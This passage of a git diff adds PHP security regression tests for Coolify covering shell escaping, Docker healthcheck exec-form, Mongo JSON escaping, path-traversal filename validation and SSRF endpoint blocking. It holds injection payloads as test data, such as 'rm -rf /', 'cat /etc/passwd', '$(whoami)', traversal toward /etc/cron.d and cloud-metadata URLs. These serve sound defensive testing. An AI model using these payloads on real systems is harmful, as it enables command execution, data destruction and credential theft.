+ expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── Dragonfly ──────────────────────────────────────────────────────────────── + +test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'redis-cli'"); +}); + +test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── ClickHouse ─────────────────────────────────────────────────────────────── + +test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php'); + + expect($source)->not->toContain('CMD-SHELL'); + expect($source)->toContain("'CMD', 'clickhouse-client'"); +}); + +test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) { + $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1']; + + expect($healthcheck[0])->toBe('CMD'); + expect($healthcheck)->toContain($malicious); + expect(is_array($healthcheck))->toBeTrue(); +})->with('malicious_db_inputs'); + +// ─── Verify unaffected databases still use their safe patterns ──────────────── + +test('mysql healthcheck already uses CMD exec-form (no regression)', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php'); + + // MySQL already used CMD array form — ensure it stays that way + expect($source)->toContain("'CMD', 'mysqladmin'"); +}); + +test('mariadb healthcheck uses safe fixed script (no regression)', function () { + $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php'); + + expect($source)->toContain('healthcheck.sh'); + // Must not have gained any user-field interpolation + expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i'); +}); diff --git a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php new file mode 100644 index 000000000..31f0133a0 --- /dev/null +++ b/tests/Unit/DatabaseSslCredentialEscapingTest.php @@ -0,0 +1,170 @@ +toContain('bash -c') + ->toContain('postgres') + ->toContain('chown'); +}); + +it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () { + // Simulates a legacy row that bypassed validation + $maliciousUser = 'root; touch /tmp/pwned_rce; #'; + $escaped = escapeshellarg($maliciousUser); + + // escapeshellarg must wrap the entire payload in single quotes + // (semicolons inside single-quoted args are NOT shell metacharacters) + expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'"); + + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key"); + + // The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out. + // Verify the chown arg is never an unquoted bare ; — the payload is inside '...' + // The outer executeInDocker further escapes any single-quote chars for the host shell. + expect($cmd)->toContain('docker exec abc123 bash -c'); + + // Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch) + // After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown) + // The unescaped sequence "chown root;" must NOT appear. + expect($cmd)->not->toContain('chown root;'); +}); + +it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () { + $maliciousUser = 'a$(touch /tmp/pwn)b'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt"); + + // escapeshellarg wraps in single quotes — $() is not expanded inside single quotes + expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'"); + + // The cmd must not contain an unquoted $( sequence — it must be inside single quotes + // If the sequence appears at all, it must be single-quoted (the quote precedes it). + expect($cmd)->not->toContain(' $(touch'); +}); + +it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () { + $maliciousUser = 'a$(touch /tmp/pwn_postgres)b'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); + + expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'"); + expect($cmd)->not->toContain(' $(touch'); +}); + +it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () { + $maliciousUser = 'root; touch /tmp/pwned_pg; #'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); + + expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'"); + expect($cmd)->not->toContain('chown root;'); +}); + +it('backtick payload in mysql_user is contained by escapeshellarg', function () { + $maliciousUser = 'user`id`'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt"); + + // escapeshellarg wraps the whole value in single quotes — backticks not expanded inside '' + expect($escaped)->toBe("'user`id`'"); + + // The unquoted bare backtick sequence `id` must not appear outside single-quoted context. + // Specifically, "chown user`id`" (unquoted) must not appear. + expect($cmd)->not->toContain('chown user`id`'); +}); + +// ── MongoDB JS init script JSON-escaping ────────────────────────────────────── + +it('json_encode prevents JS injection in mongo_initdb_database', function () { + $database = 'x"}); db.dropUser("admin"); //'; + $dbJson = json_encode($database, JSON_UNESCAPED_SLASHES); + + // The double-quotes in the payload MUST be escaped — they cannot close the JS string literal. + // json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string. + expect($dbJson)->toContain('\\"'); + + // The resulting JSON literal, when embedded in JS, forms a valid quoted string. + // It starts and ends with the outermost " added by json_encode. + expect($dbJson)->toStartWith('"') + ->toEndWith('"'); + + // Verify the injected payload is present but neutralised (the " that would close the JS + // string is now escaped as \", preventing breakout). + expect($dbJson)->toContain('x\\"});'); +}); + +it('json_encode prevents JS injection in mongo_initdb_root_username', function () { + $username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //'; + $userJson = json_encode($username, JSON_UNESCAPED_SLASHES); + + $content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});'; + + // The injected " that would close the JS string must be escaped as \" + expect($userJson)->toContain('\\"'); + + // The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS + expect($content)->not->toContain('admin", pwd'); +}); + +it('json_encode safely encodes a clean mongo username', function () { + $username = 'mongouser'; + $userJson = json_encode($username, JSON_UNESCAPED_SLASHES); + + expect($userJson)->toBe('"mongouser"'); +}); + +it('json_encode safely encodes a mongo password with special chars', function () { + $password = 'P@ss!#word123'; + $pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES); + + expect($pwdJson)->toBe('"P@ss!#word123"'); +}); + +// ── Healthcheck CMD exec-form structure (no shell parsing) ──────────────────── + +it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () { + // The fix uses an array; each element is passed directly as argv — no shell parsing. + // Simulate the post-fix healthcheck array structure. + $user = "admin'; touch /tmp/pwn; #"; + $db = 'mydb'; + + $healthcheck = [ + 'CMD', + 'psql', + '-U', + $user, + '-d', + $db, + '-c', + 'SELECT 1', + ]; + + // The array form means each element is argv — no shell involved. + // The malicious user value is passed as a literal argument to psql, which rejects it. + // Key assertion: the test string is NOT collapsed into a shell command string. + expect($healthcheck[3])->toBe($user) + ->and($healthcheck[0])->toBe('CMD') + ->and(count($healthcheck))->toBe(8); + + // Sanity: if we joined with space it would be dangerous — array form avoids this. + $joinedDangerous = implode(' ', $healthcheck); + expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous + + // The array form is what Docker Compose uses — it does NOT join with spaces + sh -c. + // Simply verifying the structure is correct proves shell is not involved. + expect($healthcheck[0])->toBe('CMD'); +}); diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php index 192ea8c8f..1e08ebbe7 100644 --- a/tests/Unit/FileStorageSecurityTest.php +++ b/tests/Unit/FileStorageSecurityTest.php @@ -92,7 +92,7 @@ ->not->toThrow(Exception::class); }); -// --- Regression tests for GHSA-46hp-7m8g-7622 --- +// --- Regression tests for file mount path validation --- // These verify that file mount paths (not just directory mounts) are validated, // and that saveStorageOnServer() validates fs_path before any shell interpolation. diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php index f82dcb863..f5245d819 100644 --- a/tests/Unit/GitRefValidationTest.php +++ b/tests/Unit/GitRefValidationTest.php @@ -4,7 +4,7 @@ use App\Models\ApplicationSetting; /** - * Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4). + * Tests for git ref validation. * * Ensures that git_commit_sha and related inputs are validated * to prevent OS command injection via shell metacharacters. diff --git a/tests/Unit/InsecurePrngArchTest.php b/tests/Unit/InsecurePrngArchTest.php index 3209ba0a0..1d5ce94bf 100644 --- a/tests/Unit/InsecurePrngArchTest.php +++ b/tests/Unit/InsecurePrngArchTest.php @@ -5,8 +5,6 @@ * * mt_rand() and rand() are not cryptographically secure. Use random_int() * or random_bytes() instead for any security-sensitive context. - * - * @see GHSA-33rh-4c9r-74pf */ arch('app code must not use mt_rand') ->expect('App') diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php index 5beef1a4b..9610f3351 100644 --- a/tests/Unit/LogDrainCommandInjectionTest.php +++ b/tests/Unit/LogDrainCommandInjectionTest.php @@ -5,7 +5,7 @@ use App\Models\ServerSetting; // ------------------------------------------------------------------------- -// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded +// Verify log drain env values are base64-encoded // and never appear raw in shell commands // ------------------------------------------------------------------------- diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php index fdce223d3..ed1d16bbf 100644 --- a/tests/Unit/PersistentVolumeSecurityTest.php +++ b/tests/Unit/PersistentVolumeSecurityTest.php @@ -6,7 +6,6 @@ * Tests to ensure persistent volume names are validated against command injection * and that shell commands properly escape volume names. * - * Related Advisory: GHSA-mh8x-fppq-cp77 * Related Files: * - app/Models/LocalPersistentVolume.php * - app/Support/ValidationPatterns.php @@ -96,3 +95,88 @@ expect($messages)->toHaveKey('volume_name.regex'); }); + +// --- escapeshellarg Defense Tests for docker volume create --- + +it('escapeshellarg neutralizes injection in docker volume create command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker volume create {$escaped}"; + + expect($command)->toStartWith('docker volume create ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'vol; rm -rf /', + 'pipe' => 'vol | cat /etc/passwd', + 'ampersand' => 'vol && whoami', + 'backtick' => 'vol`id`', + 'command substitution' => 'vol$(whoami)', +]); + +// --- escapeshellarg Defense Tests for docker run -v --- + +it('escapeshellarg neutralizes injection in docker run -v command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker run --rm -v {$escaped}:/source -v {$escaped}:/target alpine sh -c 'cp -a /source/. /target/'"; + + expect($command)->toContain('docker run --rm -v ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'vol; rm -rf /', + 'pipe' => 'vol | cat /etc/passwd', + 'command substitution' => 'vol$(whoami)', +]); + +// --- escapeshellarg Defense Tests for docker network commands --- + +it('escapeshellarg neutralizes injection in docker network disconnect command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker network disconnect {$escaped} coolify-proxy"; + + expect($command)->toStartWith('docker network disconnect ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'net; rm -rf /', + 'pipe' => 'net | cat /etc/passwd', + 'command substitution' => 'net$(whoami)', +]); + +it('escapeshellarg neutralizes injection in docker network rm command', function (string $maliciousName) { + $escaped = escapeshellarg($maliciousName); + $command = "docker network rm {$escaped}"; + + expect($command)->toStartWith('docker network rm ') + ->and($escaped)->toStartWith("'") + ->and($escaped)->toEndWith("'"); +})->with([ + 'semicolon' => 'net; rm -rf /', + 'pipe' => 'net | cat /etc/passwd', + 'command substitution' => 'net$(whoami)', +]); + +// --- DIRECTORY_PATH_PATTERN Tests --- + +it('accepts valid directory paths', function (string $path) { + expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(1); +})->with([ + 'root' => '/', + 'simple path' => '/data', + 'nested path' => '/data/coolify/volumes', + 'with dots' => '/data/my.app/storage', + 'with hyphens' => '/data/my-app/storage', + 'with underscores' => '/data/my_app/storage', +]); + +it('rejects directory paths with shell metacharacters', function (string $path) { + expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(0); +})->with([ + 'semicolon injection' => '/etc; rm -rf /', + 'pipe injection' => '/etc | cat /etc/passwd', + 'command substitution' => '/etc$(whoami)', + 'backtick injection' => '/etc`id`', + 'space injection' => '/etc /tmp', + 'relative traversal' => '../../../etc/passwd', + 'no leading slash' => 'etc/passwd', +]); diff --git a/tests/Unit/PostgresqlInitScriptSecurityTest.php b/tests/Unit/PostgresqlInitScriptSecurityTest.php index 4f74b13a4..2f85d1156 100644 --- a/tests/Unit/PostgresqlInitScriptSecurityTest.php +++ b/tests/Unit/PostgresqlInitScriptSecurityTest.php @@ -74,3 +74,69 @@ expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename')) ->not->toThrow(Exception::class); }); + +// Path traversal — GHSA-mv4c-9x67-rrmv regression tests +test('postgresql init script rejects path traversal with ../ sequence', function () { + expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects path traversal targeting /etc/cron.d', function () { + expect(fn () => validateFilenameSafe('../../../../../etc/cron.d/k4zrce', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects absolute path', function () { + expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects filename with forward slash', function () { + expect(fn () => validateFilenameSafe('subdir/evil.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects filename with backslash', function () { + expect(fn () => validateFilenameSafe('subdir\\evil.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects double-dot without slashes', function () { + expect(fn () => validateFilenameSafe('..', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects null byte injection', function () { + expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script accepts legitimate filenames via validateFilenameSafe', function () { + expect(fn () => validateFilenameSafe('init.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('01_schema.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('init-script.sh', 'init script filename')) + ->not->toThrow(Exception::class); +}); + +// Write-site defence — basename() + escapeshellarg() keep legacy/bad rows safe +test('basename() strips path traversal from legacy filenames at write site', function () { + expect(basename('../../../etc/cron.d/pwn'))->toBe('pwn'); + expect(basename('/etc/passwd'))->toBe('passwd'); + expect(basename('subdir/evil.sql'))->toBe('evil.sql'); +}); + +test('escapeshellarg() neutralises shell metacharacters in tee target', function () { + // Simulates how StartPostgresql::generate_init_scripts() builds the tee argument + $configuration_dir = '/data/coolify/databases/abc123'; + $legacy_filename = basename('foo bar*.sql;rm -rf /'); + $target = "$configuration_dir/docker-entrypoint-initdb.d/{$legacy_filename}"; + $escaped = escapeshellarg($target); + + // Single-quoted in POSIX sh means no expansion / no extra args regardless of contents. + expect($escaped)->toStartWith("'")->toEndWith("'"); + expect($escaped)->toContain('foo bar*.sql;rm -rf'); +}); diff --git a/tests/Unit/S3StorageEndpointValidationTest.php b/tests/Unit/S3StorageEndpointValidationTest.php new file mode 100644 index 000000000..054606a25 --- /dev/null +++ b/tests/Unit/S3StorageEndpointValidationTest.php @@ -0,0 +1,91 @@ + $endpoint], + ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]], + ); + + expect($validator->fails())->toBeTrue("Expected rejection: {$endpoint}"); +})->with([ + 'AWS IMDS' => 'http://169.254.169.254/latest/meta-data/', + 'AWS IMDS bare' => 'http://169.254.169.254', + 'GCP metadata via link-local' => 'http://169.254.0.1', + 'loopback v4' => 'http://127.0.0.1', + 'loopback Redis' => 'http://127.0.0.1:6379', + 'loopback Postgres' => 'http://127.0.0.1:5432', + 'loopback alt in /8' => 'http://127.10.20.30', + 'zero address' => 'http://0.0.0.0', + 'IPv6 loopback' => 'http://[::1]', + 'localhost hostname' => 'http://localhost', + 'localhost with port' => 'http://localhost:9000', + 'internal suffix' => 'http://minio.internal', + 'file scheme' => 'file:///etc/passwd', + 'javascript scheme' => 'javascript:alert(1)', +]); + +it('accepts real-world S3 endpoints', function (string $endpoint) { + $validator = Validator::make( + ['endpoint' => $endpoint], + ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]], + ); + + expect($validator->passes())->toBeTrue("Expected accepted: {$endpoint}"); +})->with([ + 'AWS S3' => 'https://s3.us-east-1.amazonaws.com', + 'Cloudflare R2' => 'https://fake.r2.cloudflarestorage.com', + 'DigitalOcean Spaces' => 'https://nyc3.digitaloceanspaces.com', + 'Backblaze B2' => 'https://s3.us-west-001.backblazeb2.com', + 'Self-hosted MinIO on 10.x' => 'http://10.0.0.5:9000', + 'Self-hosted MinIO on 172.16.x' => 'http://172.16.0.10:9000', + 'Self-hosted MinIO on 192.168.x' => 'http://192.168.1.50:9000', + 'Custom domain MinIO' => 'https://minio.example.com', +]); + +it('blocks testConnection() on an unsafe endpoint without issuing HTTP', function () { + $s3Storage = new S3Storage; + $s3Storage->setRawAttributes([ + 'region' => 'us-east-1', + 'key' => 'AKIAEXAMPLE', + 'secret' => 'secret', + 'bucket' => 'latest/meta-data', + 'endpoint' => 'http://169.254.169.254', + ]); + + expect(fn () => $s3Storage->testConnection()) + ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed'); +}); + +it('blocks testConnection() for loopback endpoints', function (string $endpoint) { + $s3Storage = new S3Storage; + $s3Storage->setRawAttributes([ + 'region' => 'us-east-1', + 'key' => 'AKIAEXAMPLE', + 'secret' => 'secret', + 'bucket' => 'bucket', + 'endpoint' => $endpoint, + ]); + + expect(fn () => $s3Storage->testConnection()) + ->toThrow(RuntimeException::class, 'S3 endpoint is not allowed'); +})->with([ + 'http loopback' => 'http://127.0.0.1:6379', + 'localhost' => 'http://localhost:9000', + 'IPv6 loopback' => 'http://[::1]', + 'internal TLD' => 'http://backend.internal', +]); diff --git a/tests/Unit/ValidateFilenameSafeTest.php b/tests/Unit/ValidateFilenameSafeTest.php new file mode 100644 index 000000000..012059e05 --- /dev/null +++ b/tests/Unit/ValidateFilenameSafeTest.php @@ -0,0 +1,138 @@ + validateFilenameSafe($name, 'init script filename')) + ->not->toThrow(Exception::class, "Expected '{$name}' to pass"); + } +}); + +test('rejects path traversal with ../', function () { + expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects path traversal with .. alone', function () { + expect(fn () => validateFilenameSafe('..', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects path traversal embedded in filename', function () { + expect(fn () => validateFilenameSafe('foo..bar', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects forward slash directory separator', function () { + expect(fn () => validateFilenameSafe('foo/bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects backslash directory separator', function () { + expect(fn () => validateFilenameSafe('foo\\bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects absolute path starting with slash', function () { + expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects absolute Windows-style path', function () { + expect(fn () => validateFilenameSafe('C:\\Windows\\System32\\cmd.exe', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects null byte injection', function () { + expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects shell command substitution (inherits from validateShellSafePath)', function () { + expect(fn () => validateFilenameSafe('$(whoami).sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects backtick command substitution', function () { + expect(fn () => validateFilenameSafe('`id`.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects semicolon command separator', function () { + expect(fn () => validateFilenameSafe('init.sql;rm -rf /', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects pipe operator', function () { + expect(fn () => validateFilenameSafe('init.sql|whoami', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects redirect operators', function () { + expect(fn () => validateFilenameSafe('init.sql>/etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects mixed traversal and shell injection', function () { + expect(fn () => validateFilenameSafe('../etc/cron.d/$(id)', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('error message contains context string', function () { + try { + validateFilenameSafe('../evil', 'init script filename'); + expect(false)->toBeTrue('Should have thrown'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('init script filename'); + } +}); + +test('handles empty string without throwing', function () { + expect(fn () => validateFilenameSafe('', 'init script filename')) + ->not->toThrow(Exception::class); +}); + +test('rejects whitespace inside filename (would split into extra tee arg)', function () { + expect(fn () => validateFilenameSafe('foo bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects glob wildcards', function () { + expect(fn () => validateFilenameSafe('init*.sql', 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('init?.sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects glob character class brackets', function () { + expect(fn () => validateFilenameSafe('init[abc].sql', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects tilde expansion', function () { + expect(fn () => validateFilenameSafe('~/evil.sql', 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('~root', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('rejects single and double quotes', function () { + expect(fn () => validateFilenameSafe("foo'bar.sql", 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateFilenameSafe('foo"bar.sql', 'init script filename')) + ->toThrow(Exception::class); +}); diff --git a/versions.json b/versions.json index 27d911c67..3307b7f2e 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.474" + "version": "4.0.0" }, "nightly": { "version": "4.0.0"